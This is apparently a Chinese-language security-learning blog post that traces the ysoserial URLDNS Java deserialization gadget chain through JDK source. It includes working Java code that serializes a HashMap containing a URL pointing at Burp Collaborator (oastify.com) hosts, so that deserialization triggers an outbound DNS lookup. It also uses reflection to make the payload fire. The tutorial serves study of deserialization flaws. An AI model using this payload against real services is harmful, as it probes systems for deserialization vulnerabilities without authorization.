JAVA_SEC从0.5到1_UrlDns链

我入门的第一条链子,我们可以直接从ysoserial里面链子进行分析

1
2
3
4
5
6
7
/*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*/

我们构建好环境开始分析,我这里用的是java 8u65版本,任意版本都可以

URL.hashCode()

那么我们直接从最底下的hashCode开始看

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

这里面调用了一个handlerhashCode()我们跟进去看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();

// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();

// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}

那么我们最终要掉用的函数就是getHostAddress了,看简介就是进行一次访问的,这条链的目的就是用于测试一个攻击点是否可以用反序列化攻击

Get the IP address of our host. An empty host field or a DNS failure will result in a null return.

我们简单测试一下

1
2
3
4
5
6
7
8
9
10
11
package org.example;

import java.net.MalformedURLException;
import java.net.URL;

public class Main {
public static void main(String[] args) throws MalformedURLException {
URL url=new URL("http://rni5ssk3vjwz6l7kzf113aezpqvhj97y.oastify.com");
url.hashCode();
}
}

我们能再bp里面收到一条记录,说明成功访问到了

我们的目的是要反序列化的,也就是说我们要找一层一层调用能调用到带有重写readObject方法的类

知道这条链是干什么的我们就可以开始回到hashCode开始跟了,我们需要找可以利用的类也调用了hashCode这个同名函数,这么说可能有点懵,我们看上面ysoserial里的链子是HashMap.hash(),我们也可以按两下shift找到同名调用函数

HashMap.hash()

找到HashMap.hashCode()后我们看一下

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里面调用了hashCode,那么我们的目标是让key=URL才行,我们试一下直接调用,发现是调用不了的我们要通过类名进行调用,那么直接调用是不行了,不过我们可以看一下HashMap里肯定有调用这个方法的地方,同样是find us找到

那么就进到ysoseri里的HashMap.putVal()

HashMap.putVal()

我们看一下源码put调用了putVal同时调用了hash

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

还是public那么我们就可以调试一下看一下了

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws MalformedURLException {
URL url=new URL("http://g1iu6hys98aokal9d4fqhzso3f96xzlo.oastify.com");
HashMap hashMap=new HashMap<>();
hashMap.put(url,1);
}
}

成功解析到dns

那么我们能成功调用到之后我们就要开始找readObject了,我们能看见正好hashmap就有一个readObject

HashMap.readObject()

里面具体写的什么不用管,知道有readObject了直接开始序列化就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example;

import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
// URL url=new URL("http://g1iu6hys98aokal9d4fqhzso3f96xzlo.oastify.com");
// HashMap hashMap=new HashMap<>();
// hashMap.put(url,1);
// serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

我们发现并没有收到请求,我们再URL.hashCode打个断点进去调试一下看看,我们发现hashCode的值不是-1,所以直接走到return里面了,没有执行hashcode,所以我们要想办法吧hashCode的值改成-1,那么在运行中修改值就是需要反射进行在运行中修改了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
URL url=new URL("http://w1ya6xy89oa4kqlpdkf6hfs43v9mxhl6.oastify.com");
Field f=Class.forName("java.net.URL").getDeclaredField("hashCode");
HashMap hashMap=new HashMap<>();
hashMap.put(url,1);
f.setAccessible(true);
f.set(url,-1);
serialize(hashMap);
// unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

成功收到